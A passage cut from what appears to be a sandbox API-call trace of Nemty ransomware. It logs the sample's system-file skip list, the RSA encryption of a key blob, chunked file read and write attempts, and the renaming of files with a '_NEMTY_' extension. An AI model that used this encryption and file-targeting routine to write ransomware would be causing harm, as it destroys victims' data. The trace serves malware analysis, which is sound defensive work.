lpString2="ntuser.dat") returned -1 [0054.580] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2="desktop.ini") returned -1 [0054.580] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2="CONFIG.SYS") returned -1 [0054.580] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2="RECYCLER") returned -1 [0054.580] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2="BOOTSECT.BAK") returned -1 [0054.580] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2="bootmgr") returned -1 [0054.580] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2="programdata") returned -1 [0054.581] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2="appdata") returned 1 [0054.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0054.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyNotesBackground.wmv", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0054.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0054.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyNotesBackground.wmv", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyNotesBackground.wmv", lpUsedDefaultChar=0x0) returned 26 [0054.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0054.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0054.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyNotesBackground.wmv", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0054.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0054.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyNotesBackground.wmv", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyNotesBackground.wmv", lpUsedDefaultChar=0x0) returned 26 [0054.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0054.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0054.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0054.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0054.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyNotesBackground.wmv", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0054.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0054.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyNotesBackground.wmv", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyNotesBackground.wmv", lpUsedDefaultChar=0x0) returned 26 [0054.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0054.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0054.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyNotesBackground.wmv", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0054.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0054.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyNotesBackground.wmv", cchWideChar=26, lpMultiByteStr=0x4f9ed58, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyNotesBackground.wmv", lpUsedDefaultChar=0x0) returned 26 [0054.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0054.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94358 [0054.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0054.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0054.581] Sleep (dwMilliseconds=0x5) [0054.582] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd42e2fd0, dwHighDateTime=0x1d561e7)) [0054.582] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd42e2fd0, dwHighDateTime=0x1d561e7)) [0054.582] GetLastError () returned 0x5 [0054.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0054.582] GetLastError () returned 0x5 [0054.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0054.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0054.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0054.582] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0054.582] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0054.583] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0054.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0054.583] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="cU1zEE+KAcFcWB0CVOTwYkc4FjjzOMpM5enL106KRkaPqRU6shR/rgrkm5UbyIhu\r\nUSArYHh/2BWPFN2RmcMHZt8GfL+m6H2ejYAsBqzE0Y1e4pp4LU/X1JwP0kbTW1KA\r\nq7YhsT33iBwIl6eheuPWnpEUQ1HOlq76IJ/CI4aDY/VBQYJOMajVHU1wwOg+KMxn\r\nOpImj8QTpX6l79FxlM0XQTOTTEnR0+vhe3UJ/mnvkVPXl3CkoBomtNWzxTJz+7I5\r\nbbxq4DLrhqyGf8dktUyhuIXfe0eM+h5hq4juqeSxX09eAvuDI1ILv3rHtETvOxKg\r\ndPPyiB0GKqImiF+lrzjCxg==\r\n", pcchString=0x653e91c) returned 1 [0054.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340260 [0054.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0054.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0054.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0054.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0054.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403d8 [0054.583] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0054.583] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0054.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0054.583] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.583] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.592] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.592] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.593] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.593] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.603] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.603] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.604] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.604] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.613] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.613] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.613] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.613] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.622] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.622] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.622] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.622] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.631] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.632] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.632] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.632] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.641] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.641] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.641] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.641] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.650] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.650] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.650] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.650] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.659] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.659] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.669] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.669] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.678] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.678] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.678] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.678] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.684] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.684] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.690] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.690] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.690] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.690] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0054.690] CloseHandle (hObject=0xffffffff) returned 0 [0054.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0054.691] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0054.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0054.691] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0054.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0054.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0054.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6344090 [0054.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344138 [0054.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0054.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0054.691] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv._nemty_kgobjgd_")) returned 0 [0054.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344138 | out: hHeap=0x4f90000) returned 1 [0054.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0054.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0054.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0054.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d8 | out: hHeap=0x4f90000) returned 1 [0054.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0054.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0054.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0054.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0054.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0054.691] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f345b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f345b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="BabyBoyNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0054.691] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2=".") returned 1 [0054.691] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="..") returned 1 [0054.691] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="...") returned 1 [0054.691] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="windows") returned -1 [0054.691] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="$RECYCLE.BIN") returned 1 [0054.691] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="rsa") returned -1 [0054.691] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="NTDETECT.COM") returned -1 [0054.691] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="ntldr") returned -1 [0054.691] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="MSDOS.SYS") returned -1 [0054.691] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="IO.SYS") returned -1 [0054.692] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="boot.ini") returned -1 [0054.692] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="boot.ini") returned -1 [0054.692] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0054.692] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="ntuser.dat") returned -1 [0054.692] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="desktop.ini") returned -1 [0054.692] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="CONFIG.SYS") returned -1 [0054.692] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="RECYCLER") returned -1 [0054.692] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="BOOTSECT.BAK") returned -1 [0054.692] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="bootmgr") returned -1 [0054.692] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="programdata") returned -1 [0054.692] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="appdata") returned 1 [0054.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0054.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyNotesBackground_PAL.wmv", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0054.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0054.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyNotesBackground_PAL.wmv", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyNotesBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 30 [0054.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0054.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0054.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyNotesBackground_PAL.wmv", cchWideChar=30, 